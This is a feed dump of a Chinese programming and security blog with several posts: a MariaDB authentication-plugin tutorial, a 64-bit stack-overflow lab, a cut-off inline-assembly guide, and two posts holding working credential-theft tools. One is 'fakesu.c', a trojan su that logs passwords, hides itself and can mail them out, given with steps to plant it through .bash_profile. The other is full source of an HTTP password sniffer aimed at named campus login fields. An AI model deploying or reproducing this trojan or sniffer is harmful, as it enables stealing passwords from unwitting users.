C – 若水斋 https://blog.werner.wiki Try harder Sat, 10 Nov 2018 11:08:44 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg C – 若水斋 https://blog.werner.wiki 32 32 编写一个简单的MariaDB认证插件 https://blog.werner.wiki/write-a-simple-mariadb-auth-plugin/ https://blog.werner.wiki/write-a-simple-mariadb-auth-plugin/#respond Sun, 06 May 2018 11:06:16 +0000 http://blog.werner.wiki/?p=418 概述

不知从哪天起,大家都不用Mysql转而使用MariaDB了。

众所周知(其实可能很多人不知道)MariaDB支持插件认证。在MariaDB中新建用户,常见的语句是:

CREATE USER 'username'@'host' IDENTIFIED BY 'password';

这样创建的用户,登录时的认证方式是密码。其实创建用户的语句还可以是:

CREATE USER 'username'@'host' IDENTIFIED VIA 'pluginname' USING 'authstring';

这样创建的用户,登录时的认证方式由插件决定。

本文展示了编写一个简单的MariaDB认证插件的全过程。实现的认证机制是用户输入正确的姓名学号即可登录。显然这一认证机制毫无安全性可言,本文重点在于展示插件编写过程。

本文内容基于MariaDB-10.1.8,操作系统是Ubuntu12.04。假设已经安装好了数据库。

基本原理

一个认证插件分为两部分,服务器侧和客户端侧,两者配合,才能完成整个认证过程。最常见的认证情景是服务器侧提问,客户端侧回答。

MariaDB提供了一个通用的客户端侧“dialog”,该客户端侧的功能是接收服务器侧的问题,将问题显示在终端上,并在终端上读取待登录用户的回答,之后将回答发送给服务器侧。它支持不限个数的问答,还支持普通问题和密码问题两种问题,普通问题在待登录用户输入回答时是有回显的,密码问题在待登录用户输入回答时是没有回显的。由于最后一个问题需要特殊处理,所以实际上有四种类型的问题。问题字符串的第一个字节是问题类型,宏定义如下:

    /* mysql/auth_dialog_client.h */
    #define ORDINARY_QUESTION       "\2"
    #define LAST_QUESTION           "\3"
    #define PASSWORD_QUESTION       "\4"
    #define LAST_PASSWORD           "\5"

由于我们想要编写一个简单的认证插件,所以简单起见,客户端侧就使用“dialog”,完全满足要求。这样,我们便只用编写服务器侧部分。

服务器侧部分要做的事情便是与客户端侧的“dialog”通讯,读取输入的姓名学号进行验证。具体实现见下节。

编写代码

套路部分

认证插件的套路如下:

    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <mysql/plugin_auth.h>
    #include <mysql/auth_dialog_client.h>

    static int school_number_auth(MYSQL_PLUGIN_VIO *vio, MYSQL_SERVER_AUTH_INFO *info)
    {
        /* 该函数是实际上进行认证的地方,
           认证通过返回CR_OK,
           认证失败返回CR_ERROR; */
    }

    static struct st_mysql_auth my_auth_plugin=
    {
        MYSQL_AUTHENTICATION_INTERFACE_VERSION, // 插件的接口版本号
        "dialog", // 客户端侧处理函数,我们直接使用了“dialog”,也可以自定义
        school_number_auth // 服务器侧处理函数
    };

    mysql_declare_plugin(dialog)
    {
        MYSQL_AUTHENTICATION_PLUGIN, // 插件类型
        &my_auth_plugin, // 插件结构体指针
        "school_number", // 插件名
        "Werner", // 作者
        "A simple MariaDB auth plugin", // 描述
        PLUGIN_LICENSE_GPL, // 许可证书
        NULL,
        NULL,
        0x0100,
        NULL,
        NULL,
        NULL,
        0,
    }
    mysql_declare_plugin_end;

mysql_declare_plugin声明了一个插件,其中写明了插件名、插件类型、作者、描述和许可证书等信息,
最重要的是插件结构体指针“&my_auth_plugin”。

插件结构体指针“&my_auth_plugin”指向插件结构体“my_auth_plugin”,该结构体中写明了客户端侧处理函数和服务器侧处理函数。在我们编写的插件中,客户端侧处理函数直接写字符串”dialog”,表示使用MariaDB提供的通用客户端侧“dialog”,服务器侧处理函数school_number_auth是实际上进行认证的地方,认证通过返回CR_OK,认证失败返回CR_ERROR。CR_OK和CR_ERROR宏定义如下:

    /* mysql/plugin_auth_common.h */
    #define CR_ERROR 0
    #define CR_OK -1

我们只需要完善函数school_number_auth即可。

认证部分

在这一小节中,我们将完善函数school_number_auth。

首先看该函数的两个参数“MYSQL_PLUGIN_VIO *vio”和“MYSQL_SERVER_AUTH_INFO *info”。

“MYSQL_PLUGIN_VIO”中的“VIO”的含义是虚拟输入输出,它的定义如下所示:

    /* mysql/plugin_auth.h.pp */
    typedef struct st_plugin_vio
    {
      int (*read_packet)(struct st_plugin_vio *vio,
                         unsigned char **buf);
      int (*write_packet)(struct st_plugin_vio *vio,
                          const unsigned char *packet,
                          int packet_len);
      void (*info)(struct st_plugin_vio *vio, struct st_plugin_vio_info *info);
    } MYSQL_PLUGIN_VIO;

可以看到它是一个结构体,成员都是函数指针。

顾名思义,函数*read_packet是虚拟的读,从vio中读取以“\0”结尾的字符串,返回读取到的字符串长度。这个读操作是阻塞读。

*write_packet是虚拟的写,向vio中写入一个字符串,需要指定写入长度。同样,写操作是阻塞写。

“MYSQL_SERVER_AUTH_INFO”的定义如下:

    /* mysql/plugin_auth.h.pp */
    typedef struct st_mysql_server_auth_info
    {
      char *user_name; // 客户端发送的用户名
      unsigned int user_name_length; // 客户端发送的用户名长度
      const char *auth_string; // 在mysql.user表中记录的相应账户的authentication_string
      unsigned long auth_string_length; // authentication_string长度
      char authenticated_as[512 +1]; // 代理用户名,传入时为user_name,可设置
      char external_user[512 +1]; // 系统变量external_user显示的值,待设置
      int password_used; // 是否使用密码,待设置
      const char *host_or_ip; // 主机或IP
      unsigned int host_or_ip_length; // 主机或IP的长度
    } MYSQL_SERVER_AUTH_INFO;

由上述定义可知在“MYSQL_SERVER_AUTH_INFO”中可以取到“user_name”和“auth_string”这样的关键字符串。

“password_used”的含义是“是否使用密码”,当认证出错时,报错信息的后面有“Password used: Yes/No”,显示“Yes”还是“No”就由“password_used”决定。默认为“No”,若想保存信息中显示“Yes”,可在school_number_auth函数中设置“password_used”,代码片段如下:

info->password_used= PASSWORD_USED_YES;

明白传入参数的含义后很容易就可以写出school_number_auth函数,其内容如下:

    static int school_number_auth(MYSQL_PLUGIN_VIO *vio, MYSQL_SERVER_AUTH_INFO *info)
    {
        int pkt_len;
        unsigned char *pkt;

        if (vio->write_packet(vio, (const unsigned char *) ORDINARY_QUESTION "Please enter your name: ", 26))
            return CR_ERROR;

        if ((pkt_len= vio->read_packet(vio, &pkt)) < 0)
            return CR_ERROR;

        if (strcmp((const char *) pkt, info->user_name))
            return CR_ERROR;

        if (vio->write_packet(vio, (const unsigned char *) LAST_QUESTION "Please enter your school number: ", 35))
            return CR_ERROR;

        if ((pkt_len= vio->read_packet(vio, &pkt)) < 0)
            return CR_ERROR;

        if (strcmp((const char *) pkt, info->auth_string))
            return CR_ERROR;

        return CR_OK;
    }

至此,我们就完成了认证插件的代码编写,将其保存到文件my_auth_plugin.c中,然后进入到下一节。

编译安装

编译

插件的代码写好后按如下命令编译:

gcc $(mysql_config --cflags) -shared -fPIC -DMYSQL_DYNAMIC_PLUGIN -o my_auth_plugin.so my_auth_plugin.c

参数“-DMYSQL_DYNAMIC_PLUGIN”是必不可少的,否则编译的时候不会报错,但在MariaDB中执行“INSTALL PLUGIN”时会报如下错误:

ERROR 1127 (HY000): Can't find symbol '_mysql_plugin_interface_version_' in library

另外一种常见的错误是找不到头文件:

#include <mysql/plugin_auth.h>
#include <mysql/auth_dialog_client.h>

解决方法是安装相关开发包引入需要的头文件,命令是:

sudo rpm -ivh MariaDB-devel-5.2.9-102.el5.x86_64.rpm

sudo apt-get install libmariadbclient-dev

其实不执行上述命令,将MariaDB安装路径下的inculde目录加入到gcc的头文件搜索路径中也可以解决头文件缺失问题。

编译成功后得到my_auth_plugin.so。

复制

编译得到.so文件后需要将.so文件复制到MariaDB的插件目录中。进入MariaDB,用如下语句查询插件目录:

MariaDB [(none)]> SHOW VARIABLES LIKE 'plugin_dir';
+---------------+------------------------------+
| Variable_name | Value                        |
+---------------+------------------------------+
| plugin_dir    | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+
1 row in set (0.00 sec)

将my_auth_plugin.so复制到MariaDB的插件目录中:

sudo cp my_auth_plugin.so /usr/local/mysql/lib/plugin/

复制完成后最好修改my_auth_plugin.so的所有者为运行MariaDB的用户,该用户名一般是mysql,命令如下:

sudo chown mysql /usr/local/mysql/lib/plugin/my_auth_plugin.so

安装

只是将.so文件复制到MariaDB的插件目录中还不够,还需要在MariaDB中安装插件,语句如下:

MariaDB [(none)]> INSTALL PLUGIN school_number SONAME 'my_auth_plugin.so';
Query OK, 0 rows affected (0.00 sec)

“school_number”是插件名,定义在mysql_declare_plugin中,my_auth_plugin.so是.so文件名,不要混淆。

有安装就有卸载,如何卸载呢?语句如下:

MariaDB [(none)]> UNINSTALL PLUGIN school_number;
Query OK, 0 rows affected (0.00 sec)

先不要执行卸载语句,或是卸载后重新安装,后面还要用到这个插件。

使用插件

先创建一个使用该插件认证登录的用户,语句如下:

MariaDB [(none)]> CREATE USER 'werner'@'localhost' IDENTIFIED VIA 'school_number' USING 'M201434212';
Query OK, 0 rows affected (0.00 sec)

退出MariaDB后以werner用户登录,可以看到确实使用了插件认证方式,具体过程如下图所示。

插件认证方式登录过程截图

源码下载

可以在这里下载到源码。(其实文中已经出现了全部源码。)

参考文献

  1. MySQL 5.5 Reference Manual
  2. Writing a MariaDB PAM Authentication Plugin
  3. MySQLPlugin之如何编写Auth Plugin
]]>
https://blog.werner.wiki/write-a-simple-mariadb-auth-plugin/feed/ 0
fakesu-记录linux的su命令口令 https://blog.werner.wiki/myfakesu/ https://blog.werner.wiki/myfakesu/#respond Sun, 23 Jul 2017 08:18:57 +0000 http://blog.werner.wiki/?p=245 听说有个叫做fakesu.c的程序可以记录linux的su命令的口令,很是神奇,于是找来看看。找到源码后一看,才发觉原来如此简单,就是利用alias命令将自己写的程序命名为su,这样用户再次登录后使用的su便不是正牌的su,而是一个冒牌货。当用户执行su命令输入口令后,无论正确与否,冒牌货都将口令写入到一个文件中,或是以邮件的形式发送给攻击者,然后冒牌货会删除自己,以免被发现。若是被发现,用户及时地修改了口令,攻击者便会功亏一篑。

使用步骤如下:

  1. 修改源码中宏定义USERNAME为目标用户名
  2. gcc -o .su fakesu.c
  3. rm fakesu.c
  4. mv .su /var/tmp/su
  5. cp .bash_profile .wgetrc || echo > .wgetrc
  6. echo “alias su=/var/tmp/su”>>.bash_profile

查看记录到的口令:

    cat /var/tmp/.pwds

需要说明的是,冒牌货删除自己后会创建符号连接:

    ln -s /bin/su /var/tmp/su

这样在此之后,用户再执行su命令,使用的便是真正的su命令了。
创建符号连接是因为就算将.bash_profile文件修改回来了,也要等用户下次登录才生效,在这里

    unalias su

    source .bash_profile

均无法取消别名。

附:fakesu.c的源码:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #define USERNAME "werner"

    int main(int argc, char *argv[]){

        FILE *fp;
        char *user;
        char *pass;
        char filex[100];
        char clean[1000];

        sprintf(filex,"/var/tmp/.pwds");
        sprintf(clean,"rm -f /var/tmp/su 1>/dev/null 2>&1;"
                      "mv -f /home/"USERNAME"/.wgetrc /home/"USERNAME"/.bash_profile;"
                      "rm -f /home/"USERNAME"/.wgetrc;"
                      "ln -s /bin/su /var/tmp/su;");

        if(argc==1) user="root";
        if(argc==2) user=argv[1];
        if(argc>2){
           if(strcmp(argv[1], "-l")==0)
             user=argv[2];
           else user=argv[1];}

        fprintf(stdout,"Password: ");
        pass=getpass("");
        system("sleep 3");
        fprintf(stdout,"su: Authentication failure\n");

        if ((fp=fopen(filex,"w")) != NULL)
        {
          fprintf(fp, "%s:%s\n", user, pass);
          fclose(fp);
        }

        system(clean);

        /* If you want password in your e-mail uncomment this line: */
        // system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail USERNAME@qq.com");

        return 0;
    }
]]>
https://blog.werner.wiki/myfakesu/feed/ 0
基于libpcap的HTTP密码嗅探程序 https://blog.werner.wiki/http-password-sniffer-based-on-libpcap/ https://blog.werner.wiki/http-password-sniffer-based-on-libpcap/#respond Wed, 19 Apr 2017 06:34:33 +0000 http://blog.werner.wiki/?p=208 wireshark是很强大的抓包工具,但它并不能自动地嗅探出网络流量中的密码。所以我写了这个小程序,用于嗅探HTTP明文数据中的用户名和密码。是基于libpcap的,在ubuntu中安装libpcap的命令如下:

    sudo apt-get install libpcap-dev

编译密码嗅探程序的命令是:

    gcc sniffpwd.c -o sniffpwd -lpcap

密码嗅探程序sniffpwd可以不带参数,有一个参数或两个参数。
当它不带参数时默认嗅探网卡eth0上的网络流量;
当有一个参数时,该参数为要嗅探数据的网卡名,如eth1、wlan0这样的;
当有两个参数时,第一个参数为网卡名,第二个参数为任意值,
有第二个参数存在,便指明嗅探程序工作模式为简明模式,
即只输出嗅探到的用户名、密码及目的IP、端口、URL等最基本信息,
而没有第二个参数存在,则会输出嗅探到的所有数据包的概要信息。

为了嗅探到更多网络流量,你可能需要开启自己网卡的混杂模式:

    sudo fconfig eth0 promisc

程序很简单,主要是libpcap的用法,参考以下文章:

嗅探程序源代码如下:

    #include <time.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <pcap/pcap.h>
    #include <arpa/inet.h>
    #include <netinet/ether.h>

    //定义链路层数据包格式
    typedef struct {
        u_char DestMac[6];
        u_char SrcMac[6];
        u_char Etype[2];
    }ETHHEADER;

    //定义IP首部格式
    typedef struct ip_hdr
    {  
        unsigned char h_verlen;//4位首部长度,4位IP版本号  
        unsigned char tos;//8位服务类型TOS  
        unsigned short tatal_len;//16位总长度  
        unsigned short ident;//16位标示  
        unsigned short frag_and_flags;//偏移量和3位标志位  
        unsigned char ttl;//8位生存时间TTL  
        unsigned char proto;//8位协议(TCP,UDP或其他)  
        unsigned short checksum;//16位IP首部检验和  
        unsigned int sourceIP;//32位源IP地址  
        unsigned int destIP;//32位目的IP地址  
    }IPHEADER;

    //定义TCP首部格式
    typedef struct tcp_hdr
    {
        unsigned short sport;//16位源端口  
        unsigned short dport;//16位目的端口  
        unsigned int seq;//32位序列号  
        unsigned int ack;//32位确认号  
        unsigned char lenres;//4位首部长度/6位保留字  
        unsigned char flag;//6位标志位  
        unsigned short win;//16位窗口大小  
        unsigned short sum;//16位检验和  
        unsigned short urp;//16位紧急数据偏移量  
    }TCPHEADER;

    //全局变量
    int flag = 0;               //是否只显示嗅探到用户名或口令的包,默认为否
    long number =0;      //已嗅探到的包总数

    int isHTTP(char *datatcp, int len)
        //判断TCP包中是否有HTTP包,通过是否包含"HTTP/"来判断
    {
        int i=0;

        //只在TCP数据的前200字节查找
        int min=200;
        if(len<200){
            min=len;
        }
        //开始查找
        for(i=0;i<min;i++){
            if(datatcp[i]=='H' && i<min-4){
                if(datatcp[i+1]=='T'&&datatcp[i+2]=='T'&&datatcp[i+3]=='P'&&datatcp[i+4]=='/'){
                    return 1;
                }
            }
        }
        return 0;
        /*
        //判断TCP包中是否有HTTP包,通过是否以"HTTP/"开头来判断
        if(datatcp[0]=='H' && datatcp[1]=='T' && datatcp[2]=='T' && datatcp[3]=='P' && datatcp[4]=='/'){
            return 1;
        }else{
            return 0;    
        }
        */
    }

    void printHTTPhead(char *httphead, int len)
        //打印HTTP头部信息或头部第一行(取决于全局变量flag)
        //打印头部信息时遇到连续两个换行结束
    {
        int i;
        for(i=0;i<len;i++){
            if(httphead[i]=='\r' && httphead[i+1]=='\n' && httphead[i+2]=='\r' && httphead[i+3]=='\n'){
                httphead[i]='\0';
                httphead[i+1]='\0';
                break;
            }
            if( flag && httphead[i]=='\r' && httphead[i+1]=='\n'){
                httphead[i]='\0';
                httphead[i+1]='\0';
                break;
            }
        }
        if(httphead[0]==0x01&&httphead[1]==0x01&&httphead[2]==0x08&&httphead[3]==0x0a){
            //TCP PAWS处理 
            //http://www.unixresources.net/linux/clf/linuxK/archive/00/00/13/92/139290.html
            printf("%s", httphead+12);
        }else{
            printf("%s", httphead);
        }
        httphead[i]='\r';
        httphead[i+1]='\n';
    }

    int findPasswd(char *data, int len){
        //从HTTP包的数据部分寻找可能存在的用户名和密码,返回找到的个数
        //密码可能在URL里,cookie里,HTTP数据里,只能在整个http报文中匹配
        int i=0, j=0, min=200;
        int p=0;        //在data中的总偏移,用于防止修改非法地址的值
        int num=0;   //嗅探到的用户名或口令个数
        char temp;
        char * next;
        char * start;
        char * keyword[] = {    //字典,本程序核心技术所在
                                         "username=",         //最常见的
                                         "password=",         //最常见的
                                         "passwd=",             //最常见的
                                         "number=",            //我曾经用过的
                                         "user=",                  //这是我瞎想的
                                         "yonghuming=",     //汉语拼音
                                         "mima=",                //汉语拼音
                                         "userid=",               //织梦cms
                                         "pwd",                    //织梦cms
                                         "account=",            //知乎的,虽然它加密了
                                         "TxtName",            //华科图书馆
                                         "TxtPassword",      //华科图书馆
                                         "EPORTAL_COOKIE_USERNAME=", //校园网
                                         "EPORTAL_COOKIE_PASSWORD=", //校园网
                                         };
        int l=sizeof(keyword) / sizeof(keyword[0]);

        /* 由于TCP首部是变长的,传来的data可能包含有部分TCP首部数据,并不一定是HTTP数据
             故先查找字符串"HTTP/"或"POST"或"GET",从这个字符串后匹配用户名密码*/
        for(i=0;i<min;i++){
            if(data[i]=='H' && i<min-4){
                if(data[i+1]=='T' && data[i+2]=='T' && data[i+3]=='P' && data[i+4]=='/'){
                    start = data+i;
                    break;
                }
            }
            if(data[i]=='G' && i<min-3){
                if(data[i+1]=='E' && data[i+2]=='T'){
                    start = data+i;
                    break;
                }
            }
            if(data[i]=='P' && i<min-4){
                if(data[i+1]=='O' && data[i+2]=='S' && data[i+3]=='T'){
                    start = data+i;
                    break;
                }
            }
        }

        /* 依次匹配每个关键词 */
        for(i=0;i<l;i++){
            next = start;
            p = 0;
            while( next = strstr(next, keyword[i]) ){   //一个关键词可能出现多次
                j=0;
                while(next[j]!='\n' && next[j]!='\r' && next[j]!='&' && next[j]!=';' && next[j]!=' '){
                    //若密码中出现了空格和分号,会被自动转码为+和%%3B,而密码中的+会被自动转码为%2B
                    if(p>=len){
                        break;
                    }
                    j++;
                    p++;
                }
                temp = next[j];
                next[j] = '\0';
                if(num==0){
                    printf("**********口令嗅探结果***********");
                }
                printf("\n%s", next);
                num++;
                next[j] = temp;
                next = next + j;
            }
        }
        return num;
    }

    void pcap_handle(u_char* user,const struct pcap_pkthdr* header,const u_char* pkt_data)
        //pcap_loop回调函数
    {
        /* 声明变量 */
        int off,ret;
        time_t timep;
        char * datatcp;
        char szSourceIP[MAX_ADDR_LEN*2], szDestIP[MAX_ADDR_LEN*2];  //源IP和目的IP
        struct sockaddr_in saSource, saDest;                                                 //源地址结构体,目的地址结构体

        /* 设置各种头指针  */
        if(header->len<sizeof(ETHHEADER)) return;              //数据帧长度小于以太网头,不做处理
        IPHEADER *pIpheader=(IPHEADER*)(pkt_data+sizeof(ETHHEADER));
        TCPHEADER *pTcpheader = (TCPHEADER*)(pkt_data + sizeof(ETHHEADER) + sizeof(IPHEADER));
        if(pIpheader->proto!=6) return;                                 //只处理TCP数据
        off = sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(ETHHEADER);
        datatcp = (unsigned char *)pkt_data + off;

        if(isHTTP(datatcp, header->len-off)){
            /* 若是HTTP报文 */

            number ++;

            //打印嗅探结果
            ret = findPasswd(datatcp, header->len-off);
            if(ret==0 && flag==0){
                //没有嗅探到任何口令
                printf("**********口令嗅探结果***********");
                printf("\n没有嗅探到任何口令");
            }else if(ret>0 && !flag){
                printf("\n共嗅探到%d个用户名或口令", ret);
            }

            //flag为1时跳过未嗅探到口令的包
            if(ret==0 && flag) return;

            // 解析IP地址
            saSource.sin_addr.s_addr = pIpheader->sourceIP;
            strcpy(szSourceIP, inet_ntoa(saSource.sin_addr));
            saDest.sin_addr.s_addr = pIpheader->destIP;
            strcpy(szDestIP, inet_ntoa(saDest.sin_addr));

            if(!flag){
                //打印全部信息
                time (&timep); 
                printf("\n**********数据包信息***********");
                printf("\n数据包编号: %ld", number);
                printf("\n数据包长度: %d", header->len);
                printf("\n捕获时间: %s", asctime(localtime(&timep)));
                printf("**********IP协议头部***********");  
                printf("\n标示: %i", ntohs(pIpheader->ident));  
                printf("\n总长度: %i", ntohs(pIpheader->tatal_len));  
                printf("\n偏移量: %i", ntohs(pIpheader->frag_and_flags));  
                printf("\n生存时间: %d",pIpheader->ttl);  
                printf("\n服务类型: %d",pIpheader->tos);  
                printf("\n协议类型: %d",pIpheader->proto);  
                printf("\n检验和: %i", ntohs(pIpheader->checksum));  
                printf("\n源IP: %s", szSourceIP);  
                printf("\n目的IP: %s", szDestIP);  
                printf("\n**********TCP协议头部***********");  
                printf("\n源端口: %i", ntohs(pTcpheader->sport));  
                printf("\n目的端口: %i", ntohs(pTcpheader->dport));  
                printf("\n序列号: %i", ntohs(pTcpheader->seq));  
                printf("\n应答号: %i", ntohs(pTcpheader->ack));  
                printf("\n检验和: %i", ntohs(pTcpheader->sum));

                //打印HTTP头部信息
                printf("\n**********HTTP协议头部***********\n");
                printHTTPhead(datatcp, header->len-off);
            }
            else{
                //只打印必须的信息(必须是指能识别出具体发往哪个网页)
                printf("\n源IP: %s, 目的: %s:%i\t", szSourceIP, szDestIP, ntohs(pTcpheader->dport));
                printHTTPhead(datatcp, header->len-off);
            }
            //额外的换行
            printf("\n\n");
        }

        /*
        //显示数据帧内容
        int i;
        for(i=0; i<(int)header->len; ++i)  {  
            printf(" %02x", pkt_data[i]);  
            if( (i + 1) % 16 == 0 )   
                printf("\n");  
        }
        */
    }

    int main(int argc, char** argv)
    {
        /* 声明变量 */
        int id = 0;
        char errpkt_data[1024];
        char *dev="eth0";
        bpf_u_int32 ipmask=0;
        struct bpf_program fcode;
        struct pcap_pkthdr packet;

        /* 处理参数 */
        if(argc==2){
            dev = argv[1];  //指定网卡
        }
        else if(argc==3){
            dev = argv[1];  //指定网卡
            flag = 1;           //只显示嗅探到用户名或口令的包
        }

        /* 打开网络设备 */
        pcap_t* device=pcap_open_live(dev, 65535, 1, 0, errpkt_data);
        if(!device){
            printf("%s\n", errpkt_data);
            return 1;
        }

        /* 设置过滤规则,只抓取TCP包 */
        if(pcap_compile(device, &fcode, "tcp", 0, ipmask)==-1){
            printf("%s\n", pcap_geterr(device));
        }
        if(pcap_setfilter(device, &fcode)==-1){
            printf("%s\n", pcap_geterr(device));
            return 1;
        }

        /* 开始抓包 */
        pcap_loop(device, -1, pcap_handle, (u_char*)&id);
        return 0;
    }
]]>
https://blog.werner.wiki/http-password-sniffer-based-on-libpcap/feed/ 0
64位Linux下的栈溢出 https://blog.werner.wiki/stack-overflow-under-64-linux/ https://blog.werner.wiki/stack-overflow-under-64-linux/#respond Thu, 30 Jun 2016 11:50:07 +0000 http://blog.werner.wiki/?p=125 今天在看《捉虫日记》,其中讲解的Linux下的栈缓冲区溢出是32位机器的,和我的64位机器有些不同之处。下面是我在64位Linux (Ubuntu14) 下的栈缓冲区溢出实验的记录。

首先是有溢出漏洞的程序,这个程序来自于《捉虫日记》。

    #include<string.h>
    void overflow(char *arg){
        char buf[12];
        strcpy(buf, arg);
    }
    int main(int argc, char *argv[]){
        if(argc==2)
           overflow(argv[1]);
        return 0;
    }

禁用堆栈保护编译

gcc -m64 stackoverflow.c -o stackoverflow -z execstack -fno-stack-protector

生成汇编文件

gcc -m64 stackoverflow.c -S -masm=intel -o stackoverflow.s -z execstack -fno-stack-protector

生成的.stackoverflow.s文件内容如下所示

        .file   "stackoverflow.c"
        .intel_syntax noprefix
        .text
        .globl  overflow
        .type   overflow, @function
overflow:
.LFB0:
        .cfi_startproc
        push    rbp
        .cfi_def_cfa_offset 16
        .cfi_offset 6, -16
        mov     rbp, rsp
        .cfi_def_cfa_register 6
        sub     rsp, 32
        mov     QWORD PTR [rbp-24], rdi
        mov     rdx, QWORD PTR [rbp-24]
        lea     rax, [rbp-16]
        mov     rsi, rdx
        mov     rdi, rax
        call    strcpy
        leave
        .cfi_def_cfa 7, 8
        ret
        .cfi_endproc
.LFE0:
        .size   overflow, .-overflow
        .globl  main
        .type   main, @function
main:
.LFB1:
        .cfi_startproc
        push    rbp
        .cfi_def_cfa_offset 16
        .cfi_offset 6, -16
        mov     rbp, rsp
        .cfi_def_cfa_register 6
        sub     rsp, 16
        mov     DWORD PTR [rbp-4], edi
        mov     QWORD PTR [rbp-16], rsi
        cmp     DWORD PTR [rbp-4], 2
        jne     .L3
        mov     rax, QWORD PTR [rbp-16]
        add     rax, 8
        mov     rax, QWORD PTR [rax]
        mov     rdi, rax
        call    overflow
.L3:
        mov     eax, 0
        leave
        .cfi_def_cfa 7, 8
        ret
        .cfi_endproc
.LFE1:
        .size   main, .-main
        .ident  "GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4"
        .section        .note.GNU-stack,"",@progbits

在主函数中,38、39行将命令行参数放入栈中,第40行比较第一个参数(argc)的值是否等于2,若不等于则跳转(第41行)到L3,随后退出,若等于2,则取第二个参数加8后的地址单元中的值存放到寄存器rdi中。(第二个参数argv是char **型的,加8是因为我们传给函数overflow的参数是argv数组中的第二个值argv[1],它是一个字符串,也就是指向字符的指针。)在64位机器中,参数的传递会使用寄存器而不是堆栈。处理好参数之后便调用函数:call overflow。

在 函数overflow中,先执行“push rbp,mov rbp, rsp”(9-12行)称之为序幕(prolog)工作,对应的有第21行的leave指令完成收尾(epilog)工作。第14行的“sub rsp, 32”为局部变量留出空间。15-19行的指令为调用函数strcpy准备好了参数,参数依旧存在寄存器中(rsi是arg,rdi是buf,都是字符指针)。由于内存只能以字为单位寻址,64位机器中一个字是8个字节,buf[12]占12个字节,所以需要两个字的存储空间,也就是16字节,所以17行“lea rax, [rbp–16]”中减去了16 (最接近rbp的空间是留给buf的,因为它在函数中最先定义)。运行到第17行时,堆栈如下图所示:

函数strcpy会将rdi的值当做指针,将其指向的字符串复制到buf中,从上图可以看出,buf的大小很有限,若超出其长度,则会覆盖掉老rbp,老rip,使函数无法正常返回。尝试运行程序:

当参数字符串的长度小于等于15时运行不会出错

./stackoverflow 0123456789abcde

当参数字符串的长度大于15时运行才会报错

./stackoverflow 0123456789abcdef
Segmentation fault (core dumped)

为何不是16?C语言中的字符串是以\0作为结束标志的,所以实际的存储空间会比可见的长度多一个字节。

由于64位机器中的rip被设计成前47位有效,当指定一个大于0x00007fffffffffff的地址时会抛出异常,所以经典的0x4141414141414141无法实现。那就让我们把rip变成0x0000414141414141吧。

用gdb调试程序(-q使得gdb不输出gdb程序的版本等信息):

gdb -q ./stackoverflow

然后在gdb中输入命令

run $(python -c "print 'A'*30')

以30个大写字母A作为输入参数,其中16个用于填满buf,8个用于覆盖“老rbp”,最后6个用于覆盖rip。一运行就会看到这样的信息

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()

可见rip的确被覆盖为了0x0000414141414141。若是想将rip覆盖为0x00007fffffffffff,则需要修改参数为

run $(python -c "print 'A'*24+'\xff'*5+'\x7f'")

运行结果为

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffffff in ?? ()
]]>
https://blog.werner.wiki/stack-overflow-under-64-linux/feed/ 0
64位Ubuntu中C与intel汇编混合编程 https://blog.werner.wiki/mixed-programming-of-c-and-intel-assembler-in-64-bit-ubuntu/ https://blog.werner.wiki/mixed-programming-of-c-and-intel-assembler-in-64-bit-ubuntu/#comments Thu, 21 Apr 2016 06:31:45 +0000 http://blog.werner.wiki/?p=95 这篇文章会介绍在64位的Ubuntu14.04下C语言和intel风格汇编语言的混合编程,使用gcc和nasm进行编译链接。

〇、目录

一、C语言内联汇编

1.引入示例

首先看一示例,它在C程序中嵌入intel风格的汇编语句,将变量b的值赋值给变量a,代码如下所示:

/* test.c */
#include<stdio.h>
int main() {
    int a=10, b=15;
    // the asm code is : a = b
    asm ("mov eax, %1;\n"
         "mov %0, eax;"
          :"=r"(a)
          :"r"(b)
          :"eax"
        );
    printf("a=%d,b=%d\n",a,b);
    return 0;
}

现在用gcc对它进行编译,参数-masm=[intel|att]用来选择英特尔或AT&T的汇编语法,
默认为att,这里选择了intel风格的汇编语法,参数-o test指明了输出文件的名字是test:

    gcc -masm=intel test.c -o test

然后运行它

    ./test 

输出

    a=15,b=15

若想查看编译结果,可以在执行gcc命令时添加参数-S,它会生成一个.s文本文件,其中是编译结果的汇编指令序列,注意添加-S命令后只生成.s文件,不再生成编译结果文件。

2.语法细节

C程序嵌入汇编有两种方式,一种是基本asm格式,此处不做介绍,另一种是上面示例中展示的扩展asm格式(Extended asm),其语法如下:

   asm [volatile](
        汇编语句模板
        : 输出部分
        : 输入部分
        :破坏描述部分
    );

asm表示汇编语句的开始,volatile是可选的,它会告诉编译器编译器不要对汇编指令进行优化,让它保持原样。
圆括号中的内容被三个冒号“:”分成了四个部分,其中汇编语句模板必不可少,其他三部分可选,如果使用了后面的部分,而前面部分为空,也需要用“:”占位。

(1).汇编语句模板(assembler template)

简单地理解汇编语句模板就是汇编源程序,之所以叫做模板,是因为其中用到了%0,%1这样的操作数占位符,占位符最多10个,名称如下:%0,%1,…,%9。指令中使用占位符来引用C语言变量。%i具体表示哪个C语言变量,则在输出部分和输入部分中确定。

当占位符引用的C语言变量不足32位时,会被扩展为32位。占位符表示汇编指令的操作数时,总被视为long型(4个字节,32位),但对其施加的操作根据指令可以是字或者字节,当把操作数当作字或者字节使用时,默认为低字或者低字节。对字节操作可以显式的指明是低字节还是次字节。方法是在%和序号之间插入一个字母,“b”代表低字节,“h”代表高字节,例如:%h1。

汇编指令语句之间使用“;”、“\n”或“\n\t”分开。

(2).输出部分(output operands)和输入部分(input operands)

